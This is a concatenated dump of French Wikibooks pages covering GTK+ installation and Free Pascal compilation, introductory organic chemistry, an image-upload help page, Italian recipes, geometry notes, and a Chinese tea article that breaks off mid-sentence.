Perhaps you should add the directory containing `gtk+-2.0.pc' to the PKG_CONFIG_PATH environment variable No package 'gtk+-2.0' found Ce n'est pas bon signe... === Sur une Mandrake === $urpmi gtk+2.0 Tout est déjà installé $urpmi libgtk+2.0_0-devel Pour satisfaire les dépendances, les paquetages suivants vont être installés (10 Mo): libatk1.0_0-devel-1.4.1-2mdk.i586 libgdk_pixbuf2.0_0-devel-2.2.4-10.1.100mdk.i586 libgtk+2.0_0-devel-2.2.4-10.1.100mdk.i586 libpango1.0_0-devel-1.2.5-3mdk.i586 Est-ce correct ? (O/n) ''[...]'' # pkg-config --modversion gtk+-2.0 2.2.4 === Autre solution === Taper en root « locate *.pc » pour trouver le répertoire <code>pkgconfig</code>. Vérifier si le fichier "gtk+-2.0" est présent ! Si non : installer <code>libgtk2.0-dev</code> et <code>libglade2-dev</code>. Et il est conseillé d'ajouter : <code>libgtk2.0-0</code>, <code>libgtk2.0-bin</code> et <code>libgtk2.0-common</code>. === Compilation === Par le biais des mises-à-jour automatiques il se peut que vous ayez une version de Gtk+ assez ancienne. Par exemple sur une Mandrake 10.0, pas si vieille, c'est la version 2.2.4 de Gtk+ qui est disponible. Pour posséder une version récente, au mois de mars 2005, la 2.6.2, on peut tout recompiler. Il faut télécharger sur le site http://www.gtk.org/ les fichiers : * glib+-2.6.2.tar.bz2 * atk-1.9.0.tar.bz2 * pango-1.8.0.tar.bz2 * gtk+-2.6.2.tar.bz2 Puis dans l'ordre, on compile la GLib : $tar -xvyf gtk+-2.6.2.tar.bz2 $cd glib+-2.6.2 $./configure --prefix=/usr $make #make install [# indique de passer en « root »] $cd .. Au tour de l'Atk : $tar -xvyf atk-1.9.0.tar.bz2 $cd atk-1.9.0 $./configure --prefix=/usr $make #make install $cd .. De Pango : $tar -xvyf pango-1.8.0.tar.bz2 $cd pango-1.8.0 $./configure --prefix=/usr --sysconfdir=/etc $make #make install $cd .. Et enfin de Gtk+ : $tar -xvyf gtk+-2.6.2.tar.bz2 $cd gtk+-2.6.2 $./configure --prefix=/usr $make #make install #ldconfig Et c'est tout. Programmation GTK2 en Pascal - Une application minimale 2430 14025 2005-03-08T21:24:42Z Didier 186 /* Avec Free Pascal */ + version 2.0 {{Programmation GTK2 en Pascal}} == Avant-propos == Cette application GTK minimale va nous permettre de tester l'installation des différents logiciels nécessaires. == L'application == Elle est simple et minimale. De plus elle ne fait rien. Voilà le fichier <code>gtk000.pas</code> : program gtk000; uses gtk2; begin // Initialisation de GTK+ gtk_init(@argc, @argv); end. == La compilation sous Linux == === Avec Free Pascal version 1.0.x === À la première compilation, il convient de générer le fichier des ressources pour GTK+ <code>gtk2.link.res</code>. Ce fichier est utilisé dans l'édition des liens de chaque programme GTK+. Cela se passe dans le répertoire <code>gtk2</code> où se trouvent les entêtes GTK+, il faut lancer le script : $cd gtk2 $./mk_gtk2fpc_link_res.sh On ne doit relancer ce script que si l'on modifie les en-têtes, lors d'une nouvelle version par exemple. Pour la compilation, proprement dite, le mieux est d'écrire un script. Dans le cas de figure où on a les sources dans le répertoire où on a décompacter les en-têtes Gtk+, soit <code>comp</code> notre fichier de script : #!/bin/bash set -e set -x $Unites="-Fugtk2/gtk+/gtk -Fugtk2/glib -Fugtk2/atk -Fugtk2/pango -Fugtk2/gtk+/gdk-pixbuf -Fugtk2/gtk+/gdk" ppc386 $Unites -k-dynamic-linker=/lib/ld-linux.so.2 -kgtk2/gtk2.link.res $@ # end. Et donc pour lancer notre compilation : $./comp gtk000.pas Free Pascal Compiler version 1.0.10 [2004/02/26] for i386 Copyright (c) 1993-2003 by Florian Klaempfl Target OS: Linux for i386 Compiling gtk000.pas Assembling gtk000 Linking gtk000 7 Lines compiled, 1.5 sec Il y a en fait d'autres lignes avec pas mal d'avertissements, car les unités <code>gtk2.pas</code>, etc. sont compilées la première fois. On peut ensuite lancer notre programme : $./gtk000 Il ne se passe rien, ce qui est normal puisque on ne lui a rien vraiment demandé. On va pouvoir maintenant dans le suite de ce livre passer à des choses plus sérieuses. === Avec Free Pascal version 2.0.x (1.9.x) === C'est plus simple : $ppc386 gtk000 Free Pascal Compiler version 1.9.8 [2005/02/20] for i386 Copyright (c) 1993-2005 by Florian Klaempfl Target OS: Linux for i386 Compiling gtk000.pas Linking gtk000 7 Lines compiled, 2.0 sec Et pour lancer le programme c'est pareil : $./gtk000 == La compilation sous Windows == === Avec Free Pascal === Comme pour Linux, on peux utiliser un script. Dans le cas de figure où on a les sources dans le répertoire où on a décompacter les en-têtes Gtk+ et le compilateur dans le répertoire <code>pp</code> du même disque, le fichier <code>comp.bat</code> donne ceci : @echo off del *.ow del *.ppw set Unites=-Fugtk2\glib -Fugtk2\gdk-pixbuf -Fugtk2\pango -Fugtk2\atk -Fugtk2\gtk+\gdk -Fugtk2\gtk+\gtk echo, \pp\bin\win32\ppc386 %Unites% -Fu. %1 echo, Pour compiler, il faut ouvrir une fenêtre « Invite de commandes » (Démarrer - Programmes - Accessoires) et se placer dans le répertoire des sources : comp gtk000 L'exécution se lance par : gtk000.exe Ou via l'explorateur de fichiers. Chimie organique:Alcènes 2431 14026 2005-02-07T08:48:56Z 82.254.202.157 #[[Chimie_organique_alcènes_introduction|Introduction]] [[Image:50%.png]] #[[Chimie_organique_alcènes_réaction_d'addition|Réaction d'addition]] [[Image:25%.png]] Retour [[Chimie organique]] Chimie organique alcènes introduction 2432 43421 2006-05-29T16:02:23Z V.Rieu 1579 __NOTOC__ Les alcènes sont des hydrocarbures insaturés, caractérisés par une double liaison entre deux atomes de carbone. Ces liaisons sont toujours de type covalente normale parfaite. La formule générale d'un alcène est C<sub>n</sub>H<sub>2n</sub> == Nomenclature == ===Alcènes non-ramifiés=== Il faut utiliser le même nom que celui de l'alcane portant le même nombre de molécules de carbone, en utilisant le suffixe « -ène » plutôt que « -ane » et en intercalant son indice de position (voir règle 2a) dans le mot, avant le suffixe. ===Alcènes ramifiés=== Voici les règles à suivre pour nommer un alcène '''ramifié''': ====Règle 1==== :Dans la formule de structure, déterminer la '''chaîne carbonée principale''' (c'est-à-dire la chaîne la plus longue d'éléments contenant un C) comportant obligatoirement la double liaison. :Pratiquement, cela revient à : :* choisir une extrémité de la chaîne carbonée, :* parcourir la chaîne en passant par le plus grand nombre d'atomes C se suivant. ====Règle 2==== :a) Afin de situer la double liaison, '''numéroter''' la chaîne principale de façon que le numéro de l'atome C portant la double liaison soit le plus petit possible. :b) suivre la même numérotation pour situer les ramifications. ====Règle 3==== :Citer le nom de la ramification alkyle, suivi de son indice de position entouré de tirets. Faire suivre du nom de l'alcène comme s'il n'était pas ramifié. == Mise en évidence du groupe m fonctionnel C=C == Les espèces possédant le groupe fonctionnel C=C décolorent le dibrome Br<sub>2</sub>. == Application == * Donnez le nom des alcènes suivants : #H<sub>2</sub>C = CH - CH<sub>2</sub> - CH<sub>2</sub> - CH<sub>3</sub> #H<sub>3</sub>C - CH = CH - CH<sub>2</sub> - CH<sub>3</sub> <br /> * Donnez les formules semi-développées des alcènes suivants : # le 2-méthylbut-1-ène : ________________ # le prop-1-ène : ____________ === Correction === #pent-1-ène #pent-2-ène #[[Image:2-methylbut-1-ene.gif]] #[[Image:prop-1-ene.gif]] <br /> <br /><br /> <br /> Retour [[Chimie organique:Alcènes|Chimie organique : alcènes]] Chimie organique alcènes réaction d'addition 2433 14028 2005-02-10T11:23:58Z Antoinel 182 /* Hydratation */ La double liaison est formée d'une liaison sigma forte (EL = 347 kJ/mole) et d'une liaison pi appelée également liaison insaturée, faible (EL = 263 kJ/mole). La force de la liaison pi étant très faible, elle cède très facilement. == Hydratation == [[Image:Hydrat alc.gif]] == Hydrogénation == Une hydrogénation augmente le nombre d'atome d'hydrogène sur une molécule. Cette réaction se produit généralement grâce à un catalyseur comme le Nickel, le Platine, le Palladium.<br /> [[Image:Alkene_to_alkane.png]] == Halogénation == [[Image:Alkene_to_halogenoalkane.png]] == Exercices == # CH<sub>3</sub> - CH = CH2 + H<sub>2</sub>O -> ____________________ Nom de la réaction : _______________ === Correction === # CH<sub>3</sub> - CH = CH2 + H<sub>2</sub>O -> CH<sub>3</sub> - CH<sub>2</sub> - CH<sub>2</sub>(OH)<br />Hydratation Retour [[Chimie organique:Alcènes|Chimie organique : alcènes]] Chimie organique:Acides carboxyliques 2434 14029 2005-02-04T20:33:04Z Antoinel 182 #[[Chimie_organique:Acides_carboxyliques_Introduction|Introduction]] Retour [[Chimie_organique]] Chimie organique:Acides carboxyliques Introduction 2435 14030 2005-02-08T11:38:45Z Antoinel 182 __NOTOC__ Le groupe fonctionel (caractéristique) est le groupe carboxyle: [[Image:Acide_carboxylique.gif]] (ou R est un hydrogène ou un groupe organique)<br /> Celui-ci est toujours situé en fin de chaîne carbonée. == Nomenclature == Systématique: on ajoute la terminaison « oïque » au nom du carbure correspondant, et on le fait préceder de acide. <br />Usuelle: Comme de nombreux composés organiques, les acides carboxyliques ont des noms usuels frequemment utilisés dans la littérature et rappelant la source depuis laquelle ils furent d'abord isolé. {| border="1" cellspacing="0" |+ Nom et source des acides carboxyliques |----- ! Structure ! Nom Union internationale de chimie pure et appliquée|UICPA ! nom commun ! Source |----- | HCOOH || acide méthanoïque || acide formique | Sécrété par certaines fourmis (latin:formica, fourmis) |----- | CH<sub>3</sub>-COOH || acide éthanoïque | acide acétique || latin: acetum, vinaigre |----- | CH<sub>3</sub>CH<sub>2</sub>-COOH || acide propanoïque | acide propionique || grec: pion, gras |----- | CH<sub>3</sub>CH<sub>2</sub>CH<sub>2</sub>-COOH | acide butanoïque || acide butyrique | latin: butyrum, beurre |} Retour [[Chimie organique:Acides carboxyliques]] Wikilivres:Comment insérer une image 2438 14032 2005-02-06T18:18:22Z DomQ 189 wikipedia: -> w: (allège la charge serveur) + tous liens francisés [[Comment insérer une image]] ==Attention aux droits de l'image !== Les projets Wikilivres, dont la division francophone, n'acceptent le téléchargement d'images que si celui-ci est légal et que la mise à disposition de l'image par le site Wikilivres ne viole pas le droit d'auteur, le ''copyright'', ou autre législation. Les choses sont un peu complexes car le site de Wikimedia est actuellement hébergé aux [[:w:fr:États-Unis d'Amérique|États-Unis d'Amérique]], et il y a parfois des doutes sur la législation à appliquer. Deux cas principaux peuvent se présenter : * l'image est '''dans le domaine public''', soit parce qu'elle est trop ancienne pour être couverte par le droit d'auteur (exemple : un ''scanning'' d'une gravure du 18ème siècle), soit parce qu'elle a été placée dans le domaine public par son auteur, soit parce qu'elle est dans le domaine public suite à des dispositions légales (exemple : œuvres d'employés du gouvernement fédéral des États-Unis d'Amérique dans l'exercice de leurs fonctions); * l'image est sous '''licence de documentation libre GNU''' (GFDL : ''GNU Free Documentation Licence''), soit parce qu'elle fait déjà partie d'un autre projet Wikimedia ou autre sous cette licence, soit parce que son auteur (typiquement vous-même !) en décide ainsi (plus de détails dans la page [[Wikilivres:Copyright]]). Si aucun de ces deux cas ne s'applique, il y a toutes les chances que l'image ne puisse pas légalement être acceptée... et dans ce cas, exactement comme pour un texte, il faut impérativement en choisir une autre. Voir toutefois [[w:fr:Wikipedia:Règles d'utilisation des images|les règles homologues dans la Wikipédia]] pour une liste plus complète des licences permises sur les projets Wikimedia francophones. ==Deux lieux de téléchargement== Les images de Wikilivres peuvent être téléchargées vers deux destinations : * Chaque Wikilibrairie (francophone, anglophone, etc.) comme chaque autre projet de la Wikimedia Foundation, dispose de sa propre banque de fichiers multimédia (images, sons, etc.).; * [[:commons:Accueil|Wikimedia Commons]], base commune d'images et de fichiers. Dans le premier cas, l'image n'est utilisable qu'à partir de la Wikilibrairie concernée. Dans le second cas, elle est utilisable depuis tout projet Wikimedia (Wikipédie, Wikilivre, Wikinews etc.). Les [[:commons:Commons:Messages de statut des images|conditions de droit d'auteur sur Wikimedia Commons]] sont différentes. Nous encourageons le téléchargement des nouvelles images vers ''Wikimedia commons'', pour autant qu'elles répondent aux contraintes particulières de ce site. ==Procédure== ===Déposer une image dans Wikimedia commons=== La procédure est la même que pour la Wikilibrairie francophone (ci-dessous), sauf que les écrans sont en anglais. Se rendre sur [[:Commons:Special:Upload]] et suivre les instructions. ===Déposer une image dans la Wikilibrairie francophone=== Il faut d'abord être inscrit et se loguer avec son pseudo. Pour cela il suffit de cliquer sur le lien ''Identification''. Après vous être inscrit vous disposez de nouvelles options dans la barre d'outils à gauche dont ''Copier sur le serveur''. Cliquer sur [[Special:Upload|Copier sur le serveur]] pour charger une image (ou tout fichier multimédia) dans la Wikilibrairie française. ===Dans tous les cas...=== Bien renseigner * La source de l'image (exemple : « photographiée par moi-même », « téléchargée depuis le site de la [[w:fr:NASA|NASA]], voir <nowiki>[http://....]</nowiki> »); * La licence de l'image sous la forme d'une abréviation standardisée : par exemple <nowiki>{{DomainePublic}}</nowiki> ou <nowiki>{{GFDL}}</nowiki> (cf. la discussion sur les droits de l'image, ci-dessus); * L'histoire de l'image. ==Utiliser l'image dans un livre de la Wikilibrairie== Pour placer l'image sur la page du livre en cours d'édition, il faut insérer un lien commençant par '''Image:''' exemple <nowiki>[[Image:exemple.png]]</nowiki> Dans le lien vous pouvez préciser les dimension et l'alignement d'une image (''left'', ''center'', ''right'') en séparant chaque info par une barre verticale ('''|''') <nowiki>[[Image:exemple.png|100|left]]</nowiki> Chimie organique:Alcynes 2439 14033 2005-02-05T20:53:43Z Antoinel 182 Les '''alcynes''' sont des hydrocarbures possèdant une insaturation caractérisée par la présence d'une triple liaison entre deux atomes de carbone.<br /> Les alcynes possèdent donc la séquence suivante: [[Image:Alcyne-1.png]] Retour [[Chimie organique]] Image:Alcyne-1.png 2440 14034 2005-02-05T20:52:39Z Antoinel 182 Alcyne Alcyne Image:Alkene to alkane.png 2441 14035 2005-02-06T08:20:54Z Antoinel 182 Image:Hydrogénation.png Image:Hydrogénation.png Image:Alkene to halogenoalkane.png 2442 14036 2005-02-10T11:17:06Z 82.254.203.138 Image:Halogénation.png {{GFDL}} Cuisine:Recettes de cuisine italienne 2443 43094 2006-05-24T13:48:54Z 88.121.135.187 /* Tiramisu */ * Pâtes à la sauce tomate * Pâte à Pizza == Tomates mozarella == ==== Ingrédients (pour 4 personnes)==== *8 tomates grappe *250 g de mozzarella *bouquet de basilic *3 cuillerées à soupe d'huile d'olive, *sel, poivre ==== Préparation (Temps estimé de préparation 10 minutes)==== #Laver les tomates puis les sécher. Couper les tomates en rondelles. #Couper la mozzarella en rondelles. #Disposer dans un plat en alternant tomate et mozzarella. Arroser d'huile d'olive. Saler et poivrer. Répandre du basilic découpé (avec des ciseaux) sur le tout. == Pizza mogador == Ingrédients : 250 g de farine 15 g de levure fraîche de boulanger Une pincée de sucre ½ cuillerée à café de sel 2 cuillerées à soupe d’huile d’olive 4 tomates 125 g de fromage 1 petite boîte de filets d’anchois 3 cuillérées à soupe d’olives fourrées 2 cuillérées à soupe de câpres 1 petite boîte de thon Sel, poivre Origan Préparation : Chauffez le four ( 200° C ). Dans une tasse, délayez la levure et une pincée de sucre dans un fond d’eau juste tiède, placez la tasse dans un endroit chaud (au bout de quelques instants, le mélange va augmenter de volume et faire des bulles). Dans une terrine, mélangez la farine, une demi-cuillerée à café de sel, deux cuillerées à soupe d’huile, la levure délayée et, petit à petit, deux verres d’eau. Pétrissez cette pâte jusqu’à en former une boule élastique et lisse. Poudrez-la légèrement de farine et laissez-la reposer une heure dans une grande jatte couverte, dans un endroit chaud sans courant d’air. Lavez les tomates, coupez-les en rondelles et garnissez-en le fond de pâte. Coupez le fromage en plaquettes fines. Déposez-les sur les tomates et, au-dessus, les filets d’anchois, les olives hachées, les câpres et le thon. Epicez avec sel, poivre et origan. Mettez au four 20 min. chef de cuisine :lahcen el3wini == Osso Buco == ====Ingrédients(pour 4 personnes)==== *4 rouelles de jarret de veau *3 carottes *2 oignons *2 côtes de céleri *4 tomates *25 cl de vin blanc sec *25 cl de bouillon de poule *1 bouquet garni *1 branche de basilic frais *2 cuillérées à soupe de farine *3 cuillérées à soupe d'huile d'argane *sel *poivre Pour la gremolata : *le zeste d'une orange non traitée râpé *le zeste d'un citron non traité râpé *1 cuillérée à soupe de persil plat haché *1 gousse d'ail écrasée ====Préparation==== #Éplucher les carottes et les oignons, les laver ainsi que les côtes de céleri. Hacher le tout finement et faire revenir à feu doux dans une sauteuse avec une cuillérée à soupe d'huile d'argane. #Peler les tomates après les avoir plongées pendant quelques secondes dans une casserole d'eau bouillante puis les avoir passées sous l'eau froide. Les concasser grossièrement et les ajouter à la préparation précédente. Ajouter le bouquet garni et la branche de basilic. Couvrir et laisser mijoter à feu doux. #Faire chauffer deux cuillérées à soupe d'huile d'olive dans une large poêle et y faire revenir les rouelles de jarret de veau légèrement farinées. Lorsqu'elles sont bien dorées, les retirer de la poêle et les mettre dans la sauteuse. #Déglacer la poêle avec le vin blanc avant de l'ajouter à la préparation précédente. Couvrir avec le bouillon de poule, saler, poivrer. Couvrir et laisser cuire à deu très doux pendant environ deux heures. #Préparer la gremolata en mélangeant intimement les zestes d'orange et de citron, le persil haché et la gousse d'ail écrasée. #Lorsque la cuisson est terminée, ajouter la gremolata et laisser infuser pendant cinq minutes avant de servir. == Pâtes == === Lasagnes à la bolognaise === ==== Ingrédients ==== <table><tr><td>[[Image:Preparation1lasagnes.JPG]]</td><td>[[Image:Preparation2lasagnes.JPG]]</td></tr></table> ==== Préparation ==== === Pâtes à l'amatriciana === ==== Ingrédients ==== Pour 4 personnes : *400g de pâtes *1 oignon moyen *150g de viandes hachées *4 cuillères à soupe d'huile d'olive *300g de purée de tomates *100g de parmesan rapé *sauce bechamelle ==== Préparation ==== Couper le lard en lanières. Hacher l'oignon et le faire roussir avec l'huile d'olive. Ajouter la purée de tomates. À ébullition, ajouter les lardons qui ne doivent pas dorer. Laisser cuire doucement au moins 30 minutes. Faire cuire les spaghettis al dente, les égoutter et les mélanger à la sauce. Servir accompagné de parmesan rapé. ==== Variantes ==== On peut éventuellement rajouter un peu de piment. La purée de tomates peut être remplacée par 400g de tomates concassées. === Pâtes au jambon de Parme === ==== Ingrédients ==== <table><tr><td>pour 4 personnes : * 400g de spaghettis * 4 tranches de jambon de Parme * 2 tranches de jambon blanc * 4 petits oignons * 100g de parmesan * huile d'olive</td><td>[[Image:Spaghetti au jambon de Parme.JPG|200px]]</td></tr></table> ==== Matériel ==== * une grande poêle avec un revêtement anti-adhésif. * une casserole ==== Préparation ==== <table><tr><td> # Couper les oignons et les faire roussir avec l'huile d'olive. # Dans une casseroles d'eau bouillante, faire cuire les spaghettis. # Couper en dés le jambon blanc et l'ajouter aux oignons. Laisser cuire pendant cinq minutes. # Ajouter les pâtes et le parmesan en copeaux. Mélanger, couvrir des tranches de jambon de Parme. Posez un couvercle et laisser cinq minutes à feu éteint. Servir.</td><td>[[Image:Preparation spaghetti jambon Parme.JPG|200px]]</td></tr></table> === Pâtes à la carbonara === Les pâtes à la ''carbonara'' sont l'un des plats emblématiques de la cuisine italienne. Souvent maltraitée, la recette exige des ingrédients simples, mais une exécution délicate. ====Ingrédients==== Par personne : * Pâtes (voir la section « Variantes » pour leur choix) ; * 40 g de ''pancetta'' (lard italien roulé et parfumé) ou de ''guanciale'' (lard de joue de porc), à défaut du lard maigre non fumé ; * 30 g de fromage fraîchement râpé : parmesan ou ''pecorino romano'', ou un mélange des deux ; * Un œuf (ou deux jaunes) ; * Poivre du moulin. ==== Préparation ==== # Tailler en petits dés la ''pancetta'', et faire dorer dans une poêle sèche chauffée. Éponger sur un papier absorbant, et réserver à part. # Faire chauffer une grande quantité d'eau bouillante salée (1 l d'eau et 10 g de sel par 100 g de pâtes) et faire cuire les pâtes selon les instructions du paquet. # Pendant ce temps, battre les œufs, ajouter le(s) fromage(s) râpé(s), poivrer généreusement (le sel est inutile à cause de la pancetta). # Quand les pâtes sont cuites, les égoutter rapidement puis les reverser dans leur récipient. # Hors du feu, ou à feu très doux, ajouter les dés de ''pancetta'' puis le mélange d'œufs, remuer vigoureusement pour enrober les pâtes. Les œufs ne doivent pas coaguler, ce qui implique une température de moins de 70°C, mais épaissir et ne pas rester trop liquides. # Couvrir et servir aussitôt. ====Notes==== * Les pâtes à la ''carbonara'' sont une préparation de dernier moment, qui ne supportent pas le réchauffage. * Si l'on est seul, il est difficile de réussir la recette avec une grande quantité de pâtes (pour plus de deux ou trois personnes). Mieux vaut être à deux, l'un chargé de verser les œufs et l'autre de remuer. ====Variantes==== Les variantes de ce plat sont nombreuses. Les principales concernent : * Le choix des pâtes : pâtes longues comme des ''spaghetti'', ou courtes et creuses, comme les ''rigatoni'' ou les ''penne''. Ces dernières retenant plus de sauce et permettant une cuisson plus facile, elles sont généralement préférées ; * L'œuf entier, ou seulement les jaunes, ce qui influe sur la richesse de la sauce et sa facilité d'exécution ; * La présence d'ail : elle doit toujours être très discrète, par exemple en cuisant les dés de ''pancetta'' avec une gousse d'ail écrasée puis retirée de la poêle. * Hors d'Italie, il est courant de voir ajoutés à la recette de la crème et/ou des champignons. Il s'agit en réalité de recettes différentes de la carbonara traditionnelle. == Tiramisu == ====Ingrédients==== *boudoirs ou biscuits à la cuiller : plus de 30 *café : 3 à 4 tasses *mascarpone : 250 à 500g *sucre : 100 à 150g *œufs : 5 *marsala : aucun dans ma recette. Mais dans le vrai Tiramisu, il y en a ! On peut aussi remplacer le marsala par de l'amaretto. ====Préparation==== * battre les jaunes d'œufs avec le sel * battre les blancs d'œufs avec le sucre, jusqu'à obtention d'une masse onctueuse, dite « au ruban » * incorporer le mascarpone dans les jaunes et le sucre, obtenir une masse homogène. * incorporer délicatement les blancs. * tremper les boudoirs dans le café chaud * Faire les couches suivantes (en partant du bas): ** Boudoirs ** Crème ** Boudoirs ** Crème ** Cacao fin ====Note==== Pour éviter que l'ensemble soit trop liquide, il faut mettre suffisamment de boudoirs pour absorber l'eau de la crème et des œufs. Les boudoirs imbibés de crème sont particulièrement bons. Mais en principe, si l'ensemble est bien homogène, bien monté, il ne devrait y avoir aucun apport de liquide de la part des œufs ou de la crème. <br /> {{Recettes par pays}} Cuisine:Gérer son refrigérateur 2444 23856 2005-10-22T10:35:14Z 172.207.78.222 Comment bien ranger ses aliments dans le réfrigérateur... Le froid étant produit (dans la plupart des appareils) en haut, c'est donc en haut et non en bas qu'il fait le plus froid dans un "''frigo''" ! C'est là que l'on placera les aliments les plus fragiles, ceux qui se conservent le moins longtemps, comme la viande, le laitage... Pour plus d'informations sur le sujet, se reporter à l'excellente émission de Jean-Pierre Coffe le samedi à 12h00 sur France inter. {{Cuisine}} Géométrie 2445 46644 2006-07-01T11:03:01Z Guillaumito 46 revert à une version avant vandalismes {{Wikipédia|Géométrie}} == Pythagore == [[Catégorie:Mathématiques]] === Propriété de Pythagore === ==== A quoi sert-elle ? ==== La propriété de Pythagore permet de calculer la longeur d'un côté d'un triangle rectangle en connaissant les 2 autres côtés. === Réciproque de la propriété de Pythagore === ==== A quoi sert-elle ? ==== Elle sert à démontrer qu'un triangle est rectangle. == Thalès == === Théorème de Thalès === ==== A quoi sert-elle ? ==== Elle sert a trouver des longueurs d'un triangle sans à avoir à prendre la règle graduée. On écrit : Soit un triangle ABC emboité dans AMN. Les droites (MN) et (BC) sont parallèles et les droites BM et CN sont sécantes en A. D'après le Théorème de Thalès, on a : <math>AB/AM=AC/AN=BC/MN</math> On remplace par les valeurs et on fait des produits en croix. Vous pouvez ainsi trouver les longueurs à chercher. et la reciproque de thales sert a montrer que 2 droites sont paralleles Thé chinois 2446 14040 2005-02-07T00:26:18Z Vincent Ramos 56 Remplacé le contenu qui était un copié-collé sans mise en forme d'une page copyrightée par celui de fr.wikipedia, basé sur cette même page mais en GFDL Le '''[[thé]]''', bien plus qu'une simple boisson d'agrément, représente en '''[[Chine]]''' une véritable institution. Il constitue autant un [[art]] qu'un fleuron de la [[gastronomie]]. Il se boit en compagnie, dans les 茶館/茶馆 ''cháguǎn'', [[maison de thé|maisons de thé]], ou les 茶園/茶园 ''cháyuán'', jardins de thé ou bien chez soi entre amis ou personnes que l'on veut honorer ; il n'est pas rare qu'un hôte, pour célébrer la venue d'une personne importante ou que l'on n'a pas vue depuis longtemps, se fende pour l'occasion de l'achat de quelques grammes d'un thé de luxe, dont les meilleures moutures peuvent s'avérer très onéreuses. Un tel hôte prendra garde à utiliser un service à thé en fonction de la qualité de la boisson offerte. De plus, il est courant, voire normal, d'offrir du thé aux personnes que l'on reçoit chez soi. Le thé peut aussi très bien se déguster seul. ==La plante== Le thé est nommé 茶 ''chá''. La boisson est l'infusion de feuilles de la plante ''[[Camelia sinensis]]'', le théier, ou 茶樹/茶树 ''cháshù'' en chinois. Les Chinois, au [[VIIIe siècle av. J.-C.]], nommaient indifféremment un certain nombre de plantes amères par le vocable 荼 ''tú'' (le caractère possède un trait horizontal de plus que 茶 ''chá'' ; il est formé de la [[Radical (sinogramme)|clé]] de l'herbe, 艸 ''cǎo'', sous sa forme réduite, 艹 et de 余 ''yú'' en fonction de phonogramme), au nombre desquelles l'on peut compter le thé lui-même mais aussi le jonc. La boisson obtenue par infusion, agrémentée de diverses [[plante aromatique|plantes aromatiques]], comme le [[gingembre]] et la [[ciboule]], s'apparentait plus à un bouillon. La plante a été distinguée des autres plus tard, et s'est appelée 檟苦荼 ''jiǎkǔtú'' (où 苦 ''kǔ'' signifie « amer »), 苦荼 ''kǔtú'' ou 荈 ''chuǎn''. Le mot 茗 ''míng ''en vient plus tard à désigner le thé, qui se répand de plus en plus à travers la Chine. Il faut attendre la fin du [[VIIIe siècle]] de notre ère pour que le mot 茶 ''chá'' ─ simple réduction du caractère 荼 ''tú'' ─ s'impose et en vienne à désigner non plus le bouillon amer parfumé aux épices et herbes aromatiques mais la boisson « noble » bue nature qu'était devenue, lentement, l'infusion en question. C'est en 780 de notre ère que 唐陸羽/唐陆羽 Táng Lùyǔ rédige le 茶經/茶经 ''Chájīng'', « Classique du thé ». Son ouvrage explique quelles sont les caractéristiques de la plante, les récoltes, les types de théiers cultivés, donne des conseils de préparation et prouve qu'à son époque déjà la dégustation du thé était devenue un art, qui n'a cessé de se perfectionner. Voici ce que nous apprend le 茶經/茶经 ''Chájīng'' (卷上, 一之源, premier chapitre : « des origines ») : <center><FONT size=5>其字 : 或從草, 或從木, 或草木並.</FONT><br /> qí zì : huò cóng cǎo, huò cóng mù, huò cǎo mù bìng. <br /> « son caractère provient soit de celui pour « herbe » (茶 ''chá''), soit de celui pour « arbre » (梌 ''tú''), soit de la réunion des deux (荼 ''tú'') » </center> <small>Notes : ces caractères sont attestés dans le 文字音義 ''Wénzì yīnyì'' (736 de notre ère) pour 茶 ''chá'', le 本草經 ''Běncǎojīng'' (''Canon des remèdes'', entre le Ier siècle avant notre ère et le IIe de notre ère) pour 梌 ''tú'' et le 爾雅 ''Ěryǎ'' (''Index des sens corrects'', le plus ancien traité de lexicographie datant des Hàn, IIIe avant notre ère) pour 荼 ''tú''.</small> <center><FONT size=5>其名 : 一曰茶, 二曰檟, 三曰蔎, 四曰茗, 五曰荈.</font><br /> qí míng : yī yuē chá, èr yuē jiǎ, sān yuē shè, sì yuē míng, wǔ yuē chuǎn. <br /> « Son nom : il est nommé tout d'abord ''chá'', ensuite ''jiǎ'', troisièmement ''shè'', quatrièmement ''míng'', cinquièmement ''chuǎn''. » </center> <small>Notes : 周公, le duc de Zhou (dynastie des Zhou Occidentaux, XX<SUP>e</SUP> siècle avant notre ère) dit que « 檟 » ''jiǎ'' désigne le 苦荼 ''kǔtú'' ; selon 揚雄 Yángxióng (53 avant notre ère-18 de notre ère, dynastie Hàn, auteur du 太玄經 ''Canon du grand mystère''), « 蔎 » ''shè'' serait le nom par lequel les habitants du Sìchuān du sud-ouest désignaient le ''tú'' ; enfin, selon le 郭弘農 ''Guōhóngnóng'', les premières récoltes de thé seraient nommées ''chá'', les récoltes suivantes ''míng'' (mot peut-être emprunté au birman), ''shè'' ou ''chuǎn''.</small> ==Vocabulaire du thé== Les [[spécificatif]]s et noms de mesure à employer avec 茶 ''chá'' sont : * Spécificatif général : 種/种'' zhǒng''. :Ex. : 這種茶很貴/这种茶很贵 ''zhèi zhǒng chá hěn guì'', « ce type de thé vaut cher » * Noms de mesures : **杯 ''bēi'' pour la tasse : 請(请)喝一杯茶吧/请喝一杯茶吧 ''qǐng hē yì bēi chá ba'', « je t'en prie, bois une tasse de thé » ; **口 ''kǒu'' pour la gorgée : 她只喝了一口茶 ''tā zhǐ hē le yì kǒu chá'', « elle n'a bu qu'une gorgée de thé ». « Préparer le thé » se dit 沏茶 ''qīchá'', ou 泡茶 ''pàochá'', « mouiller le thé ». Enfin, c'est 倒茶 ''dàochá'' que l'on utilise pour « verser le thé ». Il existe même un verbe technique, 窨 ''xūn'', pour signifier « parfumer le thé avec des fleurs ». ==Les familles de thé== Les Chinois répartissent le thé en six catégories, dont les noms sont tirés de la couleur de l'[[infusion]] et non de la [[feuille (plante)|feuille]] ; cette couleur révèle le taux de [[fermentation]] des feuilles, soit, dans l'ordre croissant : * 『黃茶』'' huáng chá'' (thé jaune) ; les plus fins et souvent les plus rares des thés. Très délicats, ils subissent une légère fermentation à l'étouffée et leurs feuilles ne sont pas travaillées. Seuls les bourgeons duveteux sont utilisés ; * 『白茶』'' bái chá'' (thé blanc) ; à l'instar des thés jaunes, ce sont des thés très délicats qui, eux, ne subissent aucune fermentation. Les trois premières feuilles, dont le bourgeon, peuvent être présentes, toujours entières. Elles sont séchées à l'air libre ; * 『綠茶/绿茶』 ''lǜ chá'' (thé vert) ; ces thés ne subissent aucune fermentation et sont la plupart du temps composés de bourgeons ou de jeunes feuilles. Ce thé est travaillé, les feuilles subissant diverses opérations (réchauffage à 100°, par exemple) ; * 『烏龍茶/乌龙茶』 ''wūlóng chá'' (thé « dragon noir », orthographe courante : ''oolong'' ; ce thé est couramment désigné sous le vocable 青茶 